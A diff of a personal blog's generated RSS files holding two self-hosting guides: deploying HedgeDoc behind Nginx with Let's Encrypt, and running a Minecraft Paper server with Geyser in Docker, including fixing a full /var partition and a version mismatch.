<h2 id="prerequisites">Prerequisites</h2>
|
||||
<ul>
|
||||
<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li>
|
||||
<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li>
|
||||
<li><strong>Nginx</strong> installed for reverse proxying</li>
|
||||
<li><strong>Certbot</strong> for Let’s Encrypt certificates</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="1-create-the-project-directory">1. Create the project directory</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div>
|
||||
<hr>
|
||||
<h2 id="2-create-env">2. Create <code>.env</code></h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword
|
||||
</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div>
|
||||
<p>Generate a strong password with:</p></description><content:encoded><![CDATA[<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p>
|
||||
<hr>
|
||||
<h2 id="prerequisites">Prerequisites</h2>
|
||||
<ul>
|
||||
<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li>
|
||||
<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li>
|
||||
<li><strong>Nginx</strong> installed for reverse proxying</li>
|
||||
<li><strong>Certbot</strong> for Let’s Encrypt certificates</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="1-create-the-project-directory">1. Create the project directory</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&&</span> cd ~/hedgedoc</span></span></code></pre></div>
|
||||
<hr>
|
||||
<h2 id="2-create-env">2. Create <code>.env</code></h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword
|
||||
</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div>
|
||||
<p>Generate a strong password with:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>openssl rand -base64 <span style="color:#ae81ff">32</span></span></span></code></pre></div>
|
||||
<hr>
|
||||
<h2 id="3-create-docker-composeyml">3. Create <code>docker-compose.yml</code></h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">version</span>: <span style="color:#e6db74">"3.9"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#f92672">services</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">db</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">image</span>: <span style="color:#ae81ff">postgres:16</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">environment</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">POSTGRES_USER</span>: <span style="color:#ae81ff">hedgedoc</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">POSTGRES_PASSWORD</span>: <span style="color:#ae81ff">${POSTGRES_PASSWORD}</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">POSTGRES_DB</span>: <span style="color:#ae81ff">hedgedoc</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">volumes</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#ae81ff">db:/var/lib/postgresql/data</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">hedgedoc</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">image</span>: <span style="color:#ae81ff">quay.io/hedgedoc/hedgedoc:1.10.2</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">depends_on</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#ae81ff">db</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">environment</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">CMD_DB_URL</span>: <span style="color:#ae81ff">postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">CMD_DOMAIN</span>: <span style="color:#ae81ff">${HD_DOMAIN}</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">CMD_PROTOCOL_USESSL</span>: <span style="color:#e6db74">"true"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">CMD_URL_ADDPORT</span>: <span style="color:#e6db74">"false"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">CMD_PORT</span>: <span style="color:#e6db74">"3000"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">CMD_EMAIL</span>: <span style="color:#e6db74">"true"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">CMD_ALLOW_EMAIL_REGISTER</span>: <span style="color:#e6db74">"false"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">volumes</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#ae81ff">uploads:/hedgedoc/public/uploads</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ports</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#e6db74">"127.0.0.1:3000:3000"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">db</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">uploads:</span></span></span></code></pre></div>
|
||||
<p>Bring it up:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d</span></span></code></pre></div>
|
||||
<hr>
|
||||
<h2 id="4-get-a-lets-encrypt-certificate">4. Get a Let’s Encrypt certificate</h2>
|
||||
<p>Request a cert with a <strong>DNS challenge</strong>:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo certbot certonly --manual --preferred-challenges dns -d notes.alipourimjourneys.ir -m you@example.com --agree-tos --no-eff-email</span></span></code></pre></div>
|
||||
<p>Add the TXT record certbot asks for, wait for DNS to propagate, then continue.<br>
|
||||
Certificates will be in:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/etc/letsencrypt/live/notes.alipourimjourneys.ir/</span></span></code></pre></div>
|
||||
<hr>
|
||||
<h2 id="5-configure-nginx">5. Configure Nginx</h2>
|
||||
<p>Create <code>/etc/nginx/sites-available/notes.alipourimjourneys.ir</code>:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74">notes.alipourimjourneys.ir</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host$request_uri;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74">notes.alipourimjourneys.ir</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ssl_certificate</span> <span style="color:#e6db74">/etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:3000</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Real-IP</span> $remote_addr;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $proxy_add_x_forwarded_for;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> <span style="color:#e6db74">https</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Upgrade</span> $http_upgrade;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Connection</span> <span style="color:#e6db74">"upgrade"</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
|
||||
<p>Enable the config and reload Nginx:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
|
||||
</span></span><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&&</span> sudo systemctl reload nginx</span></span></code></pre></div>
|
||||
<hr>
|
||||
<h2 id="6-create-users">6. Create users</h2>
|
||||
<p>Because we disabled self-registration, create accounts manually:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose exec hedgedoc ./bin/manage_users --add alice@example.com</span></span></code></pre></div>
|
||||
<p>You’ll be prompted for a password.<br>
|
||||
To reset a password later:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com</span></span></code></pre></div>
|
||||
<hr>
|
||||
<h2 id="7-done">7. Done!</h2>
|
||||
<p>Visit <a href="https://notes.alipourimjourneys.ir">https://notes.alipourimjourneys.ir</a> and log in with the user you created. You now have your own collaborative Markdown editor 🎉</p>
|
||||
<hr>
|
||||
<p><strong>Extras:</strong></p>
|
||||
<ul>
|
||||
<li>Backups: dump the PostgreSQL database and save the <code>uploads</code> volume.</li>
|
||||
<li>Upgrades: <code>docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d</code>.</li>
|
||||
<li>Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/hedge_doc.md">Markdown</a> ·
|
||||
<a href="/sources/posts/hedge_doc.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
|
||||
jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
|
||||
AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
|
||||
iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
|
||||
QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
|
||||
UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
|
||||
4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
|
||||
sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
|
||||
5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
|
||||
MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
|
||||
QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
|
||||
aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
|
||||
=uf5y
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
|
||||
gpg --verify hedge_doc.md.asc hedge_doc.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/categories/guides/page/1/index.html
Normal file
2
public-clearnet/categories/guides/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/categories/guides/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/categories/guides/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/categories/guides/"></head></html>
|
||||
11
public-clearnet/categories/homelab/index.html
Normal file
11
public-clearnet/categories/homelab/index.html
Normal file
File diff suppressed because one or more lines are too long
166
public-clearnet/categories/homelab/index.xml
Normal file
166
public-clearnet/categories/homelab/index.xml
Normal file
|
|
@ -0,0 +1,166 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Homelab on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/homelab/</link><description>Recent content in Homelab on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Mon, 29 Sep 2025 09:06:29 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/homelab/index.xml" rel="self" type="application/rss+xml"/><item><title>Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases</title><link>https://blog.alipour.eu/posts/minecraft_server/</link><pubDate>Mon, 29 Sep 2025 09:06:29 +0000</pubDate><guid>https://blog.alipour.eu/posts/minecraft_server/</guid><description>How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.</description><content:encoded><![CDATA[<h2 id="why">Why</h2>
|
||||
<p>I’ve been running a Java Minecraft world (with Bedrock players via <strong>Geyser</strong>) in <code>tmux</code>. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:</p>
|
||||
<ul>
|
||||
<li><code>failed to register layer: ... no space left on device</code></li>
|
||||
<li>Client saying: <strong>“Outdated client, please use 1.21.9 Pre-Release 2”</strong></li>
|
||||
<li>Wanting config in a neat <code>.env</code> and <strong>no whitelist</strong></li>
|
||||
</ul>
|
||||
<p>Here’s exactly what I did.</p>
|
||||
<hr>
|
||||
<h2 id="folder-layout">Folder layout</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>~/minecraft/
|
||||
</span></span><span style="display:flex;"><span>├─ docker-compose.yml
|
||||
</span></span><span style="display:flex;"><span>├─ .env
|
||||
</span></span><span style="display:flex;"><span>└─ plugins/
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="env-secrets--knobs"><code>.env</code> (secrets & knobs)</h2>
|
||||
<p>Use the <strong>latest stable</strong> (not snapshots/pre-releases) by setting <code>VERSION=LATEST</code>.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span><span style="color:#75715e"># Minecraft server configuration</span>
|
||||
</span></span><span style="display:flex;"><span>EULA<span style="color:#f92672">=</span>TRUE
|
||||
</span></span><span style="display:flex;"><span>TYPE<span style="color:#f92672">=</span>PAPER
|
||||
</span></span><span style="display:flex;"><span>VERSION<span style="color:#f92672">=</span>LATEST
|
||||
</span></span><span style="display:flex;"><span>MEMORY<span style="color:#f92672">=</span>4G
|
||||
</span></span><span style="display:flex;"><span>USE_AIKAR_FLAGS<span style="color:#f92672">=</span>true
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># RCON (remote console)</span>
|
||||
</span></span><span style="display:flex;"><span>ENABLE_RCON<span style="color:#f92672">=</span>true
|
||||
</span></span><span style="display:flex;"><span>RCON_PASSWORD<span style="color:#f92672">=</span>superSecretPassword123
|
||||
</span></span></code></pre></div><blockquote>
|
||||
<p>I don’t use a whitelist, so no <code>WHITELIST</code>/<code>ENFORCE_WHITELIST</code> variables.</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="docker-composeyml"><code>docker-compose.yml</code></h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">mc</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">image</span>: <span style="color:#ae81ff">itzg/minecraft-server:latest</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">mc</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ports</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#e6db74">"25565:25565"</span> <span style="color:#75715e"># Java</span>
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#e6db74">"19132:19132/udp"</span> <span style="color:#75715e"># Bedrock via Geyser plugin</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">env_file</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#ae81ff">.env</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">volumes</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#ae81ff">mc-data:/data</span>
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#ae81ff">./plugins:/plugins:ro</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">mc-data</span>: {}
|
||||
</span></span></code></pre></div><blockquote>
|
||||
<p>The <code>version:</code> key in Compose is obsolete now, so I dropped it.</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="add-geyser-and-optional-floodgate-as-plugins">Add Geyser (and optional Floodgate) as plugins</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir -p ~/minecraft/plugins
|
||||
</span></span><span style="display:flex;"><span>cd ~/minecraft/plugins
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Geyser (Spigot/Paper)</span>
|
||||
</span></span><span style="display:flex;"><span>wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot -O Geyser-Spigot.jar
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Floodgate (optional: Bedrock accounts without Java linking)</span>
|
||||
</span></span><span style="display:flex;"><span>wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot -O Floodgate-Spigot.jar
|
||||
</span></span></code></pre></div><p>Start it up:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d
|
||||
</span></span></code></pre></div><p>On first run, Geyser writes its config to <code>/data/plugins/Geyser-Spigot/</code>. Open UDP <strong>19132</strong> on your firewall.</p>
|
||||
<hr>
|
||||
<h2 id="hit-a-wall-var-ran-out-of-space">Hit a wall: <code>/var</code> ran out of space</h2>
|
||||
<p>Docker stores layers at <code>/var/lib/docker</code> by default. My <code>/var</code> LV was tiny:</p>
|
||||
<pre tabindex="0"><code>/dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var
|
||||
</code></pre><h3 id="quick-cleanup">Quick cleanup</h3>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker system df
|
||||
</span></span><span style="display:flex;"><span>docker system prune -f
|
||||
</span></span><span style="display:flex;"><span>docker builder prune -af
|
||||
</span></span><span style="display:flex;"><span>sudo apt-get clean
|
||||
</span></span><span style="display:flex;"><span>sudo journalctl --vacuum-size<span style="color:#f92672">=</span>100M
|
||||
</span></span></code></pre></div><p>If that’s not enough, you have two good options:</p>
|
||||
<h3 id="option-a--move-dockers-data-off-var">Option A — Move Docker’s data off <code>/var</code></h3>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl stop docker
|
||||
</span></span><span style="display:flex;"><span>sudo mkdir -p /home/docker
|
||||
</span></span><span style="display:flex;"><span>sudo rsync -aHAX --info<span style="color:#f92672">=</span>progress2 /var/lib/docker/ /home/docker/
|
||||
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">'{ "data-root": "/home/docker" }'</span> | sudo tee /etc/docker/daemon.json
|
||||
</span></span><span style="display:flex;"><span>sudo systemctl start docker
|
||||
</span></span><span style="display:flex;"><span>docker info | grep <span style="color:#e6db74">"Docker Root Dir"</span>
|
||||
</span></span></code></pre></div><p>If all looks good, free the old space:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo rm -rf /var/lib/docker/*
|
||||
</span></span></code></pre></div><h3 id="option-b--grow-var-lvm">Option B — Grow <code>/var</code> (LVM)</h3>
|
||||
<p>Check free space in the VG:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo vgdisplay <span style="color:#75715e"># look for "Free PE / Size"</span>
|
||||
</span></span></code></pre></div><p>If available, extend <code>/var</code> by +5G:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
|
||||
</span></span><span style="display:flex;"><span>sudo resize2fs /dev/mapper/ubuntu--vg-var
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="the-version-mismatch-pre-release-vs-stable">The version mismatch: pre-release vs stable</h2>
|
||||
<p>My logs showed:</p>
|
||||
<pre tabindex="0"><code>Starting minecraft server version 1.21.9 Pre-Release 2
|
||||
</code></pre><p>That happens if the server pulls a pre-release build (or if <code>VERSION=LATEST</code>). Fix:</p>
|
||||
<ol>
|
||||
<li>Ensure <code>.env</code> has:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>VERSION<span style="color:#f92672">=</span>LATEST_RELEASE
|
||||
</span></span></code></pre></div></li>
|
||||
<li>Recreate:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose down
|
||||
</span></span><span style="display:flex;"><span>docker compose pull
|
||||
</span></span><span style="display:flex;"><span>docker compose up -d
|
||||
</span></span></code></pre></div></li>
|
||||
<li>Verify:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker logs mc | grep <span style="color:#e6db74">"Starting minecraft server version"</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -> Starting minecraft server version 1.21.1 (example)</span>
|
||||
</span></span></code></pre></div></li>
|
||||
</ol>
|
||||
<blockquote>
|
||||
<p>Tip: If you <strong>want to pin</strong> and avoid auto-updates entirely, set <code>VERSION=1.21.1</code> (or whatever stable you’ve validated).</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="no-whitelist">No whitelist</h2>
|
||||
<p>Because I don’t set <code>WHITELIST</code>/<code>ENFORCE_WHITELIST</code>, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -it mc rcon-cli <span style="color:#e6db74">"op YourJavaIGN"</span>
|
||||
</span></span></code></pre></div><p>(or edit <code>/data/ops.json</code>).</p>
|
||||
<hr>
|
||||
<h2 id="backup--updates">Backup & updates</h2>
|
||||
<ul>
|
||||
<li>World/data live under the <code>mc-data</code> volume → back up <code>/data</code> regularly.</li>
|
||||
<li>Update cleanly:
|
||||
